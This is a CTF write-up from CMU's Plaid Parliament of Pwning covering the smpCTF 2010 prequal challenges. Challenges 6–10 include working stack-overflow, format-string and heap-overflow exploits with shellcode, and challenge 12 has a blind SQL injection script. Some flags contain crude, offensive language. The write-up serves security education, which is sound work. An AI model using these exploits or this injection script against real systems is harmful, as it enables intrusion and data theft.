# smpCTF 2010 Prequal - Problem Solution

**Plaid Parliament of Pwning** - Security Research Group at CMU

August 7, 2010

## 1 Introduction

This is a write-up for smpCTF 2010 pre-qual from **Plaid Parliament of Pwning** (PPP), Carnegie Mellon University's Security Research Group. This write-up describes walk-throughs for all the challenges that we have completed during the competition. Note that the problems that didn't come back up after the competition are omitted from the write-up. This report file will also be available at http://ppp.cylab.cmu.edu.

## 2 Walk-throughs

## 3 Challenge 1

```
Set S = 1
Set P = 1
Set previous answer = 1

answer = S * P + previous answer + R
R = 26

After this => S + 1 and P + 1 (’answer’ becomes ’previous answer’) + 26
then repeat this till you have S = 41294.

The final key will be the value of ’answer’ when S = 41294.

Example:
So if R = 15..

17 = 1 * 1 + 1 + 15
36 = 2 * 2 + 17 + 15
60 = 3 * 3 + 36 + 15

Submit the correct answer and you will recieve a flag. Have fun ;D
```

Looking at the problem statement, things seem pretty simple. We are given a basic iterative algorithm to follow based on an input value R and a final value S (which change every 5 minutes, according to a base64 comment on the challenge page).

So, we simply code the algorithm up in our favorite scripting language to get something like:

```
#!/usr/bin/perl

for ($answer = 1;$s != $ARGV[1];) {
  $answer = (++$s)*(++$p) + $answer + $ARGV[0];
}
print "$answer\n";
```

(Note that this code may overflow on 32 bit systems, in that case one can just use Bignum to get the correct results)
Once the challenge is up and running correctly, we can submit our result from running `./1.pl 26 41294`
**Flag: WaSThAtFunORwhaT?!?**

## 4 Challenge 2

```
Where's waldo?

ssh -l luser gordo.smpctf.com -p 2282 Password: smpctf

Help find waldo..
```

Connecting to the server with the provided details brings us straight to vim, very much like the quals for Defcon. To break free of the vim jail and get a shell, we can simply set the shell variable inside vim with `:set shell=/bin/bash` and then launch the shell `:shell`
Now we see the message

```
Once you have gained access to the next level, you will find the flag located
in the .smpFLAG file within the current levels $HOME.
```

Unfortunately, there is no .smpFLAG file that can be seen, but the "find waldo" clue suggests that we need to search a bit harder for the correct flag file. After trying a few different things, we can see that simply running `find / -name '*flag*'` turns up a suspicious file in /usr/lib, which reveals the key and challenge ID.
**Flag: HAHAHAHAHAHAHHAHAponies**

## 5 Challenge 3

```
Generate a file which has a SHA-1 hash of: 008
    ce55c7d1b602dc4c4c3ad52a5d064e6d1ef12
HASH: da39a3ee5e6b4b0d3255bfef95601890afd80709 does not match

Hint: DRM-0, Linux-1
_DO NOT BRUTE FORCE_ it's not required...

[Hidden Hint]
t3=(*((unsigned int *)(key+2)))^(*((unsigned int *)(sec+0x56)));
```

From the hint, we figured it's something related to DRM (and probably broken, since it's losing to Linux). There is a textfield that we can input texts and submit. Then the submitted texts will be hashed with SHA-1 and displayed on the page. The goal is to find an input that will match the given hash.

After searching for DRM and linux, with the hidden hint in the page-source, we found `DeCSS`. We found many variants of the source code for DeCSS, but we decided to use one from Wikipedia (the hint about this was given in IRC when the admins were shouting THREE, TREE, and **FREE** (Free encyclopedia) and mentioned do not rely only on Google.

It was quite obvious that they wanted CSSdescrable funtion (from hidden hint), but it was non-trivial to guess the correct indentations, spaces, and new lines:

```
void CSSdescramble(unsigned char *sec,unsigned char *key) {
  unsigned int t1,t2,t3,t4,t5,t6;
  unsigned char *end=sec+0x800;
  t1=key[0]^sec[0x54]|0x100;
  t2=key[1]^sec[0x55];
  t3=(*((unsigned int *)(key+2)))^(*((unsigned int *)(sec+0x56)));
  t4=t3&7;
  t3=t3*2+8-t4;
  sec+=0x80;
  t5=0;
  while(sec!=end) {
    t4=CSSt2[t2]^CSSt3[t1];
    t2=t1>>1;
    t1=((t1&1)<<8)^t4;
    t4=CSSt5[t4];
    t6=(((((((t3>>3)^t3)>>1)^t3)>>8)^t3)>>5)&0xff;
    t3=(t3<<8)|t6;
    t6=CSSt4[t6];
    t5+=t6+t4;
    *sec++=CSSt1[*sec]^(t5&0xff);
    t5>>=8;
  }
}
```

**Flag: DiDyouEXPECTthatAtALl?**

## 6 Challenge 4

```
Retrieve the secret key and decipher it..
Website: http://66.225.157.70:8009/level1
```

If we go to the website, we encounter a page with a form. It requires us to log in as an administrator, so we tried to log in as an administrator. (doh!) Despite our hope, it wouldn't allow us to do so. Then, we tried SQL injection, null character injection, etc. None of them worked. After a while, we noticed that the form method is `GET`. So we give it a shot and sent the POST request with the parameter `name = administrator`, and it showed a welcome page with base64 encoded text. When decoded into plain text, it didn't make sense.

So we extracted a decoded data as a binary file, and it was a jpeg file that contains the flag.
**Flag: smpCTF is the coolest CTF ever!**

## 7 Challenge 5

```
We are sure we left, a flag in here somewhere... Right redsand?

Can you help find it? The file: download
```

So we are initially given a file that appears to be compressed. We then throw 7zip at it repeatedly until we finally get a file compressed with UCL (http://www.oberhumer.com/opensource/ucl/). We then see that the contained file is an Ubuntu image so we extract and examine the home directory of the user (Joe). After poking around his files for a bit, we notice a packet capture that seems odd. We pull it down, open it up in Wireshark and notice a packet that is transmitting a picture named flag.jpg. We then extract these bytes, write them down, examine the comment of the image and find the flag.

**Flag: Seeing is not always believing!**

## 8 Challenge 6

> Find a way to take advantage of challenge6_bin then steal the flag file from /usr/smp/challenge6/.smpFLAG

There is a trivial stack overflow inside of the vuln2 function. Stack is not randomized and is exectuable, so this is really simple. Put 64 bytes of padding plus 4 bytes for saved ebp, followed by a pointer to our code, in the first argument.

Except that if argc (in main) is greater than 1, the program exits. To get around this, we execute it with no arguments and instead put the first argument in envp. This results in argc == 0, argv[0] = NULL, and argv[1] == envp[0].

**Flag: GERONIMO hoookers, good job fat man**

Note: In the code below, we use a nop sled. This is just for ease and is not required. We also have it execute our own program /tmp/ac instead of /bin/sh.

```

int main()
{
    char *argv[] = {NULL};
    char *envp[] = {"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                     "BBBB\x80\xff\xff\xbf",
                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x0b"
                     "\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff
                         \xff/tmp/ac",
                     NULL
                    };
    execve("/usr/smp/challenge6/challenge6_bin", argv, envp);
}
```

# 9 Challenge 7

Gain access to userid challenge7, then steal the flag file from /usr/smp/challenge7/.smpFLAG

Again we look at the vuln function, but this time we see a snprintf call. This means that we will probably have to do a printf attack. And this is clearly the case, as snprintf's format string is a global buffer which main copys argv[1] into.

Classic attack. Use %NNN$hhn to overwrite a return pointer with a pointer to the global buffer that contains our shellcode.

**Flag: EVERYONEz SUPER HERE HACKER FROM A TRACTOR**

```
ln -s /usr/smp/challenge7/challenge7_bin /tmp/foo.bar
env -i SHLVL=1 PWD=/usr/smp/challenge7 LINES=64 COLUMNS=100 A=AAAAAAAAAAAA \
    /tmp/foo.bar ‘perl -e ’print "AAAA%358\\$hhnAAAA%359\\$hhn%143d%357\\$hhn
    %90d%356\\$hhn\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8
    \xf0\xff\xff\xff/tmp/ac"’‘ ‘perl -e ’print "\x9c\xfa\xff\xbf\x9d\xfa\xff
    \xbf\x9e\xfa\xff\xbf\x9f\xfa\xff\xbfAA"’‘
```

# 10 Challenge 8

Hint: A monkey does best in its natural ________?

The flag file is in /usr/smp/challenge8/.smpFLAG

At first glance, it looks like we need to just make it execute our code using the system command. The problem with this is that with system(...) we lose our setuid permissions. So, there must another solution.

Indeed, we will notice that they use strncpy followed by strncat in the callme function. While the length arguments to both strncpy and strncat are less than the size of the buffer, if we look at the strncat manpage we will note that the length is how many bytes it appends to the buffer. So, again, we have a buffer overflow on the stack.

Overwrite the return pointer with a pointer to our code which is an argument and so at the top of memory.

**Flag: WHENuGETthisFLAGpmBLAin#IOandTALKsomeSHIT**

Note: Again, we just shotgun approach this. Mainly for speed, could definitely look nicer.

```
COLUMNS=100 LINES=64 /usr/smp/challenge8/challenge8_bin                     \
    ‘perl -e ’print "A"; print "\x04\xf5\xff\xbf"x63’‘ ‘perl -e ’print
      "\x04\xf6\xff\xbf"x64’‘ CCCCC                                         \
    ‘perl -e ’print "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
      \x90\x90\x90\x90\x90\x90\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80
      \xe8\xf0\xff\xff\xff/tmp/ac"’‘
```

## 11 Challenge 9

Classic heap overflow. They were even nice enough to give us the addresses of the buffers.

GDB is nice to have, so we nop out the ptrace and jump.

From here, it is just overwrite the correct pointers in the footer and header of the malloc blocks. The goal is to overwrite the GOT pointer of free.

**Flag: RAPEROBOTSfjearMYrapeROBOTS someone owes me hookers and blow...**

```
perl -e ’print "CCCCCCCC\x08\x14\x00\xb8\x08\x14\x00\xb8"; print "\xe9\x10\x00
   \x00\x00AAAAAAAAAAA\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
   \x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80
   \x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c
   \x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80
   \x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff/usr/smp/challenge9/.smpCTF\x00\x00";
   print "A"x0x372; print "\x00\x00\x00\x00\x09\x04\x00\x00\x08\x10\x00\xb8\x08
   \x10\x00\xb8\xa0\x0b\x00\xb8\x18\x10\x00\xb8"; print "B"x0x1000’ >vec
/usr/smp/challenge9/challenge9 < vec
```

## 12 Challenge 10

This challenge requires that we have SMP in the environment.

Another buffer overflow. I don’t even remember what was challenging about this.

**Flag: DIDntYOUhe4r?BLAin#IOisAflamingFUCKINGgermanSHITlover**

```
env -i COLUMNS=140 PWD=/tmp/blah LINES=64 SHLVL=0 SMP=1 \
    /usr/smp/challenge10/challenge10 ‘perl -e ’print "."x1030 ."\xda\xf9\xff\xbf"
    ."AAAAAAAAAA\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd
    \x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d
    \x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd
    \x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff/usr/smp/challenge10 /.smpCTF"’‘
```

## 13 Challenge 12

```
Retrieve cookie monsters password..

Cookie monster, while awesome. Is not a good admin.. He has managed to remove most
     of the web content and forget his password.
On accident, of course.. ;) If you can help him retrieve his password, he will
    give you a flag. Not a cookie...
Website: http://down/level2/
```

It was basic SQL Injection with some filtering. Following script reveals each character in the password column. There was a response oracle (`cookieMonster`) that made it easy to check if we got the password or not.

```
#!/usr/bin/ruby

require ’uri’
require ’net/http’

```

```
for j in (1..20)
    url = "http://66.225.157.70:8009/level2/index.php?id=3/**/and/**/SUBSTR(flag
        ,"+j.to_s()+",1)="

    for i in (0x30..0x7a)
        new_url = url+"0x"+i.to_s(16)+"--"
        r = Net::HTTP.get_response(URI.parse(new_url))
        if (r.body.include? "cookieMonster")
         print "Found! "+i.to_s()+"\n"
         break
        end
    end
end
```

## 14 Challenge 13

```
What is this image of? See below for what happened.. Submit your answer via
email or on IRC to magikh0e. Correct answers get a flag..
```

First we googled for recent commit collisions. There were only a handful so then we starting looking through them. We quickly found pictures that looked similar to the one we were looking at for Shoemaker Levy 9 and then after further searching, found a log matching the one on the bottom of the page.
**Flag: The Collision of Comet Shoemaker-Levy 9 and Jupiter**

## 15 Trivia 1

```
Q. What style of traffic is represented below?
tcpdump -nn -vvv -e -s 1500 -X -i eth0
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 1500 bytes
13:47:23.382938 aa:00:04:00:0a:0a > ab:00:00:03:00:00, ethertype DN
(0x6003), length 50: endnode-hello endnode vers 2 eco 0 ueco 0 src 2.522
blksize 1498 rtr 0.0 hello 10 data 2
        0x0000:  2200 0d02 0000 aa00 0400 0a0a 03da 0500  "..............
        0x0010:  0000 0000 0000 0000 aa00 0400 0000 0a00  ................
        0x0020:  0002 aaaa
```

Simply note `ethertype DN`. Shortly after googling, we found that it is DECNet. Entering **decnet** gives the flag.
**Flag: LMAOcoptersHOLYSHIT!**

## 16 Trivia 2

```
Q. Why do you need "%eth0" in the following command:
nmap -6 fe80::a800:4ff:fe00:a0a%eth0
```

Again, Google is your best friend: **Link Local addressing.**
**Flag: N/A**

## 17 Trivia 3

```
Q. What protocol is used to pass multicast traffic across external network
domains to specific hosts?
```

Wikipedia gives the general description about this: **PIM Sparse Mode**.
**Flag: N/A**

## 18 Trivia 4

```
Q: Identify this libc function
00000000  89C7              mov edi,eax
00000002  89DE              mov esi,ebx
00000004  89CA              mov edx,ecx
00000006  C1E902            shr ecx,0x2
00000009  F3                db 0xF3
0000000A  A5                movsd
0000000B  89D1              mov ecx,edx
0000000D  81E104000000      and ecx,0x4
00000013  F3                db 0xF3
00000014  A4                movsb
00000015  C3                ret
```

We looked at the opcode for 0xF3, which turned out to be `rep`. Then it made sense that it's **memcp**.
**Flag: BOFH why is /dev/null a directory?**

## 19 Trivia 5

First you need to note that the picture looks like one of the xkcd series with the `Top Class Companies Only` hint. Specifically, **Map of the Internet** (`http://xkcd.com/195/`). Also, the exif information on the diagram file contains the date time of year 2006, and this xkcd cut shows the IPv4 space in 2006.

Then we needed to list out all U.S. based companies, ordered by subnet, not allowing duplicate companies, one letter at a time (as the diagram file name hints). We then concatenated them all together and submitted to get the flag.
**Flag: FUCKTHISSTUPIDTRIVIASHIT**

## 20 Trivia 6

```
Login as admin

Select box:
Disabled Submit button
```

It was pretty easy once we saw the source code of the page. Hidden input values were ROT'ed. For example, the value for `huser` is ROT-1 enccoding of **THE FORM ONLY ACCEPTS POST REQUEST**. So we go ahead and submitted the form with POST method:

```
curl -d "users=Admin" http://ctf2010.smpctf.com/trivial/6.php? -A "Mozilla/4.0" -e
    "http://ctf2010.smpctf.com/trivial/6.php"
```

Then, we got a flag.
**Flag: booyahhhzingzangwo0t**

## 21 Trivia 7

```
Q: What does the recently popular term "ROS" stand for?
Hint: This is used for bypassing Data Execution Prevention
```

The hint made it pretty obvious that it is related to `Return Oriented`. The part that took us extra few minutes was `S`, which turned out to be `Shellcode`. Thus, the correct answer is **Return Oriented Shellcode**.

To be honest, we've seen only a couple of places that the term ROS is used. Usually, people would refer to it as `Return Oriented Programming (ROP)`.
**Flag: smpCTF will be the name of my first born**

## 22 Acknowledgement

Thanks to Nibbles who archived the problems and scoreboard. As always we thank Professor David Brumley for the guidance and the support.